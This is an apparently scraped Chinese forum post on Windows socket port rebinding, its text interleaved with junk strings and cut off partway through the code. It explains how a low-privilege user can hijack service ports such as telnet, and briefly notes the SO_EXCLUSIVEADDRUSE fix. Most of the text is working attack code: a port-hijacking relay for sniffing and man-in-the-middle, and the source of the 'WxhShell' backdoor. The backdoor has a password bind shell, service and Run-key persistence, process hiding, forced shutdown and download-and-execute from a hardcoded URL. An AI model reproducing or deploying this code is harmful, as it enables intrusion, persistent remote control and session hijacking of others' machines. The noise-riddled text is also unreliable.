在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
2s8a
$3 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
FGJ1dBLr 'BxX0 saddr.sin_family = AF_INET;
AN m
d! >uB?rGcM saddr.sin_addr.s_addr = htonl(INADDR_ANY);
1\m[$Gs: ]A`n(
"% bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
aKDKmHd ;1=1:S8 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
xa*hi87L* r<EY]f^`u 这意味着什么?意味着可以进行如下的攻击:
R^fPIv`q uMv,zO5 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
bWS&Yk( <dNOd0e 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
3`?7<YJ T<>,lQs(a 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
.43'HV Y-z(zS^1 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
zI uJ-8T" =%O6:YM
其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
=I5>$}q_&, (L:>\m&NO 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
VGN5<?PrN e>OoyDZ@R 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
UDFDJm$ Z\rwO>3 #include
4"ZP 'I; #include
(lqC[: #include
SulY1, #include
gVuFHHeUz DWORD WINAPI ClientThread(LPVOID lpParam);
n8[!pH~6 int main()
%2{ye
{
Q{>k1$fkV WORD wVersionRequested;
K5 z<3+ DWORD ret;
R29~~IOqO WSADATA wsaData;
Dy&i&5E.-l BOOL val;
= svN#q5s SOCKADDR_IN saddr;
q<<v,ihh SOCKADDR_IN scaddr;
wJqMa9| int err;
o/)h"i0P SOCKET s;
JR|ck=tq SOCKET sc;
>y>5#[M! int caddsize;
HJH{nz'Lw HANDLE mt;
.Hm>i DWORD tid;
>:!5*E5? wVersionRequested = MAKEWORD( 2, 2 );
/N.b%M]! err = WSAStartup( wVersionRequested, &wsaData );
M_f:A if ( err != 0 ) {
r5/0u(\LB printf("error!WSAStartup failed!\n");
T>Z<]s return -1;
0mVNQxHI }
\@zHON( saddr.sin_family = AF_INET;
gJ{)-\ Fo_sgv8O< //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
~?}Emn;t !<";cw(q saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
kTB0b*V saddr.sin_port = htons(23);
C )
s5D if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
'LC1(V!_j {
}<r)~{UV printf("error!socket failed!\n");
$PPi5f}HD return -1;
Zi
i }
sP~<*U.7 val = TRUE;
j$:~Rek //SO_REUSEADDR选项就是可以实现端口重绑定的
00y!K
m_D if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
uzPVTo|= {
#{6/ (X printf("error!setsockopt failed!\n");
xo&_bMO return -1;
mJnIwdW* }
BxmWIItz //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
;'K5J9k //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
w&#]-|$ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
*fxG?}YT @. l@\4m if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
{P./==^0 {
^CX6&d ret=GetLastError();
e T{ 4{ printf("error!bind failed!\n");
F>l]
9!P|m return -1;
RqrdAkg }
P@B] listen(s,2);
\\qZl)P_ while(1)
59A}}.@?m {
)akoa,#%6c caddsize = sizeof(scaddr);
LL!Dx%JZ //接受连接请求
7}>E J sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
ki!0^t:9 if(sc!=INVALID_SOCKET)
"^-a M {
n84|{l581 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
SnfYT)Ph if(mt==NULL)
\2$|Ei7 {
\8cx6 G' printf("Thread Creat Failed!\n");
KpGhQdR# break;
niyV8v }
GefTdO.& }
D>q9 3;p CloseHandle(mt);
r19
pZAc }
Otuf]B^s closesocket(s);
+\9NDfYIA WSACleanup();
H
<l7ZS: return 0;
a=2%4Wmz }
CdQ!GS<'y DWORD WINAPI ClientThread(LPVOID lpParam)
tsjrRMR {
cwg"c4V SOCKET ss = (SOCKET)lpParam;
z:*|a+cy SOCKET sc;
Z9|P'R(l unsigned char buf[4096];
_D tV SOCKADDR_IN saddr;
/4Gt{ygSr long num;
5j(k:a+!H DWORD val;
R/YqyT\SM DWORD ret;
5]0<9a //如果是隐藏端口应用的话,可以在此处加一些判断
%h@EP[\ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
&8lZNv8;(p saddr.sin_family = AF_INET;
'=pU^Oz<} saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
y)@wjH{6 saddr.sin_port = htons(23);
K0>zxqY if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
0l6.<-f{ {
(<9u-HF# printf("error!socket failed!\n");
]=BB# return -1;
[W&T(%(W- }
S9.o/mr val = 100;
77Dn97l)& if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
hgq;`_;1, {
ZECfR>`x ret = GetLastError();
e^voW"?% return -1;
hVY$;s }
k_#)Tw* if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
<P_-s*b {
WyiQoN'q ret = GetLastError();
yWSGi#)1 return -1;
xqh }
<hyKu
if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
/{I$ #:M {
eR>oq, printf("error!socket connect failed!\n");
Bzf^ivT3L closesocket(sc);
I?CZQ+}Hq closesocket(ss);
i
ct]) return -1;
L4W5EO$ }
6=C<>c%+ while(1)
;$4\e)AB {
RRJ%:5& //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
1% ` Rs
//如果是嗅探内容的话,可以再此处进行内容分析和记录
e0 ecD3 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
5 qA' num = recv(ss,buf,4096,0);
%|oym.-I6
if(num>0)
At;LO9T3z send(sc,buf,num,0);
h?U
O&( else if(num==0)
"{t$nVJ break;
Vurqt_nb num = recv(sc,buf,4096,0);
%cn<ych
G if(num>0)
SpBy3wd send(ss,buf,num,0);
UEL_uij else if(num==0)
#'`{Qv0,
break;
KI.hy2?e }
6 u6x closesocket(ss);
A#,ZUOPGH closesocket(sc);
;'1d1\wiDQ return 0 ;
%]i15;{X }
xE}>,O|'q %BODkc Zh UiNP3TJ'L ==========================================================
"[N!m1i:{ ;tf=gdX; 下边附上一个代码,,WXhSHELL
DY*N|OnqJ EU#^7 ==========================================================
2~V*5~fb lB4WKn=?Kl #include "stdafx.h"
6S#Cl>v 4qa.1j(R/ #include <stdio.h>
U<XG{<2 #include <string.h>
"dlVk~ #include <windows.h>
x{n=;JD #include <winsock2.h>
7_t'( /yu #include <winsvc.h>
#-J>NWdt #include <urlmon.h>
xIn:ZKJ' :4|4 =mkr #pragma comment (lib, "Ws2_32.lib")
j>kqz>3 #pragma comment (lib, "urlmon.lib")
`]aeI'[}R rm_Nn8p, #define MAX_USER 100 // 最大客户端连接数
\=o- #define BUF_SOCK 200 // sock buffer
wd6owr #define KEY_BUFF 255 // 输入 buffer
^.y\(= iy"*5<;*DD #define REBOOT 0 // 重启
%iB,IEw #define SHUTDOWN 1 // 关机
`D9$v(Ztr |W^IlqTH #define DEF_PORT 5000 // 监听端口
O/LXdz0B 2an f$^[ #define REG_LEN 16 // 注册表键长度
<VE@DBWyl~ #define SVC_LEN 80 // NT服务名长度
dRMx[7jVA :Dp0?&_ // 从dll定义API
[]T8k9g/- typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
v@pky0 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
5r0YA
IJ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
lhJ'bYI typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
30{ gI0jk Y);=TM6s // wxhshell配置信息
I1J-)R+ struct WSCFG {
AZ<=o int ws_port; // 监听端口
PvL[e"p char ws_passstr[REG_LEN]; // 口令
^zr`;cJ+c int ws_autoins; // 安装标记, 1=yes 0=no
Y/oHu@
_ char ws_regname[REG_LEN]; // 注册表键名
+C)~bb* char ws_svcname[REG_LEN]; // 服务名
/wv0i3_e
char ws_svcdisp[SVC_LEN]; // 服务显示名
<3
uNl char ws_svcdesc[SVC_LEN]; // 服务描述信息
VU#7%ufu& char ws_passmsg[SVC_LEN]; // 密码输入提示信息
gM]:Ma int ws_downexe; // 下载执行标记, 1=yes 0=no
1;iUWU1@ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
$~kA
B8z char ws_filenam[SVC_LEN]; // 下载后保存的文件名
W*G<X.Hf QGz|*] };
?]5qr?W% OrW // default Wxhshell configuration
$;PMkUE struct WSCFG wscfg={DEF_PORT,
\<K5ZIWV "xuhuanlingzhe",
zm# ?W 1,
iow"n$/ "Wxhshell",
4Tc~b3\!Y "Wxhshell",
)%]J>&/0J "WxhShell Service",
/_.|E] "Wrsky Windows CmdShell Service",
IGgL7^MF "Please Input Your Password: ",
)5H?Vh>36 1,
Fzcwy V
"
http://www.wrsky.com/wxhshell.exe",
}0 ?3:A "Wxhshell.exe"
iDD$pd,e\ };
x~sBzTa 8CE = 4 // 消息定义模块
iRBfx char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
GX%g9f!O char *msg_ws_prompt="\n\r? for help\n\r#>";
u@^LW<eD char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
(?];VG char *msg_ws_ext="\n\rExit.";
mZBo~(} char *msg_ws_end="\n\rQuit.";
ig"L\ C"T char *msg_ws_boot="\n\rReboot...";
^?|"L>y char *msg_ws_poff="\n\rShutdown...";
&3&HY:yF char *msg_ws_down="\n\rSave to ";
g{LP7D;6 )PZT4jTt char *msg_ws_err="\n\rErr!";
V~#tuv char *msg_ws_ok="\n\rOK!";
z!\*Y
=e ~Gw*r\\+ char ExeFile[MAX_PATH];
1mJHued=6 int nUser = 0;
4!$"ayGv;D HANDLE handles[MAX_USER];
zeRyL3fnmb int OsIsNt;
m+9#5a- ;a3}~s SERVICE_STATUS serviceStatus;
(%9$! v{3 SERVICE_STATUS_HANDLE hServiceStatusHandle;
0 {mex4 k=^xVQuI // 函数声明
?cZlN! int Install(void);
[Qr"cR^ int Uninstall(void);
!m$jk2< int DownloadFile(char *sURL, SOCKET wsh);
,,TnIouy int Boot(int flag);
V)4J`xg^ void HideProc(void);
4K74=r),i int GetOsVer(void);
*ui</+ int Wxhshell(SOCKET wsl);
6B-16 void TalkWithClient(void *cs);
Wl4%GB int CmdShell(SOCKET sock);
=V5%+/r +f int StartFromService(void);
5-M-X#( int StartWxhshell(LPSTR lpCmdLine);
AwN!;t_0+N ^@]3R QB VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
`mqMLo* VOID WINAPI NTServiceHandler( DWORD fdwControl );
\NC3'G:Ii Mihg: // 数据结构和表定义
>3bCTE SERVICE_TABLE_ENTRY DispatchTable[] =
,?3G;- {
z{>Rc"%\ {wscfg.ws_svcname, NTServiceMain},
GthYzd:'hJ {NULL, NULL}
Ho%CDz
z };
+[P{&\d4} Zc2PepIg // 自我安装
11lsf/IP int Install(void)
D{!IW!w {
xC?h2hIt char svExeFile[MAX_PATH];
<GsuZ HKEY key;
e(yh[7p= strcpy(svExeFile,ExeFile);
n`KY9[0U= @pxcpXCy // 如果是win9x系统,修改注册表设为自启动
vv7I_nK? if(!OsIsNt) {
OJxl<Q=z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
}\LQ3y"[ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
F!do~Z RegCloseKey(key);
i9$ Av if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
D,6:EV"sa RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
snJ129}A RegCloseKey(key);
7o4\oRGV return 0;
&wX]_:? }
cnLro }
3CJwj }
KTv$ else {
;Xw~D_uv d'2A,B~_* // 如果是NT以上系统,安装为系统服务
HTtnXBJ)*H SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
<uJ@:oWG7 if (schSCManager!=0)
qWw=8Bq {
)X!,3Ca{43 SC_HANDLE schService = CreateService
Z]ONh (
t^L]/$q schSCManager,
5X+A"X
;C wscfg.ws_svcname,
g+lCMW\ wscfg.ws_svcdisp,
Z{R> SERVICE_ALL_ACCESS,
2?x4vI
np; SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
BuwY3F\-O SERVICE_AUTO_START,
Lr<cMK< SERVICE_ERROR_NORMAL,
U~8g_* svExeFile,
`2snz1>!j NULL,
u&NV,6Fj2[ NULL,
8-i#8'/x NULL,
n| ;Im&, NULL,
6wxs1G NULL
f5r0\7y0 );
@.C2LIb if (schService!=0)
% `3jL7| {
xfQ1T)F3g CloseServiceHandle(schService);
[vgtc.V CloseServiceHandle(schSCManager);
7 3m1 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
$^P0F9~0 strcat(svExeFile,wscfg.ws_svcname);
yjAL\U7`T if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
7L??ae RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
]-q;4. RegCloseKey(key);
#F#%`Rv1 return 0;
A's{j7 }
#S(Hd?34, }
v1[29t<I! CloseServiceHandle(schSCManager);
=fbWz }
:r[`.` }
OYd !v`< `]X>V, return 1;
kFB }
vbNBLCwug ]!
dTG // 自我卸载
/ +\9S int Uninstall(void)
6pzSp {
(?c-iKGc HKEY key;
OH88n69 G9lUxmS< if(!OsIsNt) {
7"mc+QOp if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Zh,71Umz RegDeleteValue(key,wscfg.ws_regname);
g ?k=^C RegCloseKey(key);
IU[ [H# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
<N)oS-m> RegDeleteValue(key,wscfg.ws_regname);
>bxS3FCX RegCloseKey(key);
YN,A)w:] return 0;
k\IbIv7?i }
q@&6#B }
R@0R`Zs }
(=$x.1 else {
R2; '7/)Ot( SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
B6"0OIDY" if (schSCManager!=0)
_+,TT['57s {
`gJ(0#ac SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Gq6*SaTk if (schService!=0)
?`#Khff? {
y*? Jui Q if(DeleteService(schService)!=0) {
nEfK53i_ CloseServiceHandle(schService);
<[v[ci CloseServiceHandle(schSCManager);
[ }:$yg return 0;
nu^436MSOa }
]yu:i-SfP CloseServiceHandle(schService);
G6/m# }
d1*<Ll9K CloseServiceHandle(schSCManager);
ebq4g387X }
nNm`Hfi }
4W])}C % qLCR] _* return 1;
N;d] 14| }
u y+pP!< !<oe=)Iz| // 从指定url下载文件
TseGXYH int DownloadFile(char *sURL, SOCKET wsh)
~@!bsLSMU {
*#2h/Q. HRESULT hr;
j+!v}*I![ char seps[]= "/";
T+$[eWk"a char *token;
B[}6-2<>?C char *file;
H.;Q+A,8^ char myURL[MAX_PATH];
pw#-_ char myFILE[MAX_PATH];
ZC?Xqp n|hNM?v strcpy(myURL,sURL);
GB^B r6 token=strtok(myURL,seps);
9$Y=orpWxr while(token!=NULL)
fOHxtHM {
~>G^=0LT file=token;
pdMc}=K token=strtok(NULL,seps);
@d_M@\r=j }
KXrjqqXs Z,=1buSz_ GetCurrentDirectory(MAX_PATH,myFILE);
wq{hF< strcat(myFILE, "\\");
xoL\us`A strcat(myFILE, file);
Q/?$x*\> send(wsh,myFILE,strlen(myFILE),0);
[K Qi.u send(wsh,"...",3,0);
Kq!3wb; hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
}b}m3i1 if(hr==S_OK)
yVfC-Z return 0;
~~.}ah/_d else
ta0|^KAA return 1;
_GPe<H <%^&2UMg }
*i,%,O96Nz Smh,zCc>s // 系统电源模块
vI?, 47Hj+ int Boot(int flag)
7^Uv7<pw {
h;Qk@F HANDLE hToken;
sT.ss$HY9, TOKEN_PRIVILEGES tkp;
TvM~y\s 2eogY# if(OsIsNt) {
q)GdD== OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
maZ)cW?
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
K}y
f>'O tkp.PrivilegeCount = 1;
xo)P?- tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
[UR-I0 s!/ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
6Zo}(^Ovz if(flag==REBOOT) {
/1 dT+> if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
pCDmXB return 0;
W)/#0*7 }
5G#n"}T else {
^q&x7Kv% if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
F@t3!bj9 return 0;
<b.D& }
#Z #-Ht }
X2_=agEP else {
}ZI7J if(flag==REBOOT) {
V9vTsmo( if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Iv *<La return 0;
\['Cj*e k }
nTas~~Q else {
# _1`)VS if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
=I<R! ZSN return 0;
aXVFc5C\ }
Qrv<lE1V; }
t1".0 baasGa3}s return 1;
ks tIgcI
}
?< />Z) 3Vwh|1? // win9x进程隐藏模块
l}
/F* void HideProc(void)
F
[M,]? {
K9[UB "Q0@/bYq HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Gt1U!dP if ( hKernel != NULL )
PCvWS.{ {
!if pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
pmM9,6P4@ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
!1k_PY5) FreeLibrary(hKernel);
SBpL6~NW }
\zY!qpX< w
xH7?tsf return;
45e~6", }
7v kL1IA LLo;\WGZ // 获取操作系统版本
dG{A~Z z int GetOsVer(void)
g-A-kqo9 {
0@(&eH= OSVERSIONINFO winfo;
EPm/r winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
;jXgAAz7 GetVersionEx(&winfo);
*hx if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
vdZW%-A&\ return 1;
d$RIS+V else
`A >@]d return 0;
]lbuy7xj63 }
M{@(G5 =(Mch~
// 客户端句柄模块
-~0^P,yQ int Wxhshell(SOCKET wsl)
f 2.HF@ {
\zkg SOCKET wsh;
@- xjfC\d struct sockaddr_in client;
R5D1w+ DWORD myID;
XUYtEf pkzaNY/q while(nUser<MAX_USER)
DrR@n~ {
WY/}1X9.% int nSize=sizeof(client);
$X6h|?3U, wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
|N2#ItBbW if(wsh==INVALID_SOCKET) return 1;
>j/w@Fj f?Lw)hMrA handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
;'|Ey if(handles[nUser]==0)
]`K2N closesocket(wsh);
`Oa
WGZ[ else
~ a: nUser++;
}j%5t ~Qa }
\85i+q:LuA WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
=euni}7a AKC`TA*E return 0;
\~W'v3:W }
8=l%5r^cq cr3^6HB // 关闭 socket
,prf;|e? void CloseIt(SOCKET wsh)
u_enqC3 {
b;n[mk
closesocket(wsh);
J zl6eo[; nUser--;
,F|f. 7; ExitThread(0);
p2eGm-Erq }
aOp\91
wT@og|M // 客户端请求句柄
K-4PI+qQ\ void TalkWithClient(void *cs)
_b 0&!l<
{
n S=W 1zf HfVZ~PP SOCKET wsh=(SOCKET)cs;
+%'(!A?*` char pwd[SVC_LEN];
Da|z"I
x char cmd[KEY_BUFF];
mt
.sucT char chr[1];
}7Uoh(d int i,j;
lN@o2QX ^c|/*u while (nUser < MAX_USER) {
iTwm3V
P ;pAK_> if(wscfg.ws_passstr) {
GOPfXtkC if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
;p//QJB9 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
_)8s'MjA:& //ZeroMemory(pwd,KEY_BUFF);
jp,4h4C^) i=0;
K0~rN.C!0 while(i<SVC_LEN) {
?4 ,T}@P 1?}T=)3+$ // 设置超时
DQ3<$0 fd_set FdRead;
dN q$} struct timeval TimeOut;
h{Y",7]! FD_ZERO(&FdRead);
D7Z /H'| FD_SET(wsh,&FdRead);
gdc<ZYcM TimeOut.tv_sec=8;
7#Ft|5$~q TimeOut.tv_usec=0;
tw;}jh int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
1Mzmg[L8 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
'L'R9&o<X 5!
{D! if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
dd;~K&_Q/i pwd
=chr[0]; ?9/G[[(
if(chr[0]==0xd || chr[0]==0xa) { o&%g8=n%
pwd=0; .*oU]N%K=
break; 4s-!7
} e
,(mR+a8
i++; **%37
} kVgTGC"L=
"jZ-,P=
// 如果是非法用户,关闭 socket fhiM U8(&
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); V
gWRW7Se
} ^q5#ihM
XS#Qu=,-
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !L(^(;$Kgr
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Cdn J&N{
u9e@a9c
while(1) { Y2AJ+
|
[n@]
r2g)3
ZeroMemory(cmd,KEY_BUFF); u`W2+S
SUiOJ[5,
// 自动支持客户端 telnet标准 >:-$+I
j=0; (`^1Y3&2
while(j<KEY_BUFF) { oJ^P(] dw
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X?O[r3<
cmd[j]=chr[0]; @d'j zs
if(chr[0]==0xa || chr[0]==0xd) { H_a[)DT
cmd[j]=0; VA%J\T|G2\
break; yWK)vju"
} A.SvA Yn
j++; ?,z}%p
} $Sq:q0
wk^B"+Uhy
// 下载文件 IGl9g_18
if(strstr(cmd,"http://")) { M`_0C38
send(wsh,msg_ws_down,strlen(msg_ws_down),0); HMXE$d=[
if(DownloadFile(cmd,wsh)) Jy)/%p~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); O.? JmE
else rI\FI0zIp_
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V~GDPJ+
} /~1+i'7V.,
else { llq<egZpm
dysS9a,
switch(cmd[0]) { }BEB1Q}L
I9^x,F"E]
// 帮助 4W75T2q#
case '?': { j 7B!h|
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )%TmAaj9d
break; F ,kZU$
} 8*X4\3:*N
// 安装 zLQx%Yg!
case 'i': { }MySaL>
if(Install()) >*bvw~y,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ".%k6W<n
else P \I|,
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5P bW[
break; X$
D6Ey
} HS$r8`S?)
// 卸载 ctQ/wrkU
case 'r': { :FF=a3/"6
if(Uninstall()) &{:-]g\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); " bG2:
else u8^lB7!e/
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G@0&8
break; V`5O{Gg
} +@UV?"d
// 显示 wxhshell 所在路径 _c07}aQ ],
case 'p': { (FV >m
char svExeFile[MAX_PATH]; (7Qo
strcpy(svExeFile,"\n\r"); %b0*H_ok7
strcat(svExeFile,ExeFile); ZSw.U:ep$s
send(wsh,svExeFile,strlen(svExeFile),0); 6)J#OKZ
break; st*gs-8jJ;
} /Oono6j
// 重启 Ri'n
case 'b': { ]~-r}`]
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @EAbF>>
if(Boot(REBOOT)) P>T"cv
send(wsh,msg_ws_err,strlen(msg_ws_err),0); NK+o1
else { KvSG;
closesocket(wsh); \vNU,WO
ExitThread(0); buC{r,
} %O<BfIZ
break; x-c"%Z|
} bt *k.=p
// 关机 =1!
'QUc
case 'd': { _F{C\}
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~&O%N
if(Boot(SHUTDOWN)) reVgqYp{{-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); PF2nLb2-
else { G$PE}%X
closesocket(wsh); k)u[0}
ExitThread(0); =Qq+4F)MD
} BUFv|z+H
break; =a!=2VN9y
} & kIFcd@
// 获取shell }u|q0>^8
case 's': { $]1=\I
CmdShell(wsh); 6*?F @D2&
closesocket(wsh); $>gFf}#C
ExitThread(0); E^PB)D(.
break; eyaNs{TV
} llDJ@
// 退出 QJNFA}*>
case 'x': { 0x7'^Z>-oe
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4Hg9N}
CloseIt(wsh); kza5ab
break; V]&\fk-{
} R]dg_Da
// 离开 d-m7}2c
case 'q': { l:%GH
send(wsh,msg_ws_end,strlen(msg_ws_end),0); NI5``BwpO
closesocket(wsh); fM}#ON>Z
WSACleanup(); +p^u^a
exit(1); Bx!-"e
break; _@g;8CA
} tkhCw/
} !wNO8;(
} ]4{H+rw
-M2yw
// 提示信息 +(*DT9s+
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iE{&*.q_}>
} _ |p8M!
} j|n R"!
H]!"Zq k
return; 598i^z{~0%
} Al'3?
Bt#N4m[X*|
// shell模块句柄 ^{{ qV
int CmdShell(SOCKET sock) \9d$@V
{ yVc(`,tZ(
STARTUPINFO si; "KlwA.7/
ZeroMemory(&si,sizeof(si)); *VeRVaBl
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]k(]qZ
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; HDKbF/
PROCESS_INFORMATION ProcessInfo; ] - .aL
char cmdline[]="cmd"; b[yiq$K/
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +#By*;BJ
return 0; 8Y3I0S
} y]imZ4{/
SaCh
7 ^
// 自身启动模式 :EH=_"
int StartFromService(void) /bEAK-
{ G:JR7N$
typedef struct k8Xm n6X
{ 1cGmg1U;
DWORD ExitStatus; :LTN!jj
DWORD PebBaseAddress; nm+s{
DWORD AffinityMask; -hV*EPQ/
DWORD BasePriority; 9cgUT@a
ULONG UniqueProcessId; zJXplvaL;
ULONG InheritedFromUniqueProcessId; C>~TI,5a3
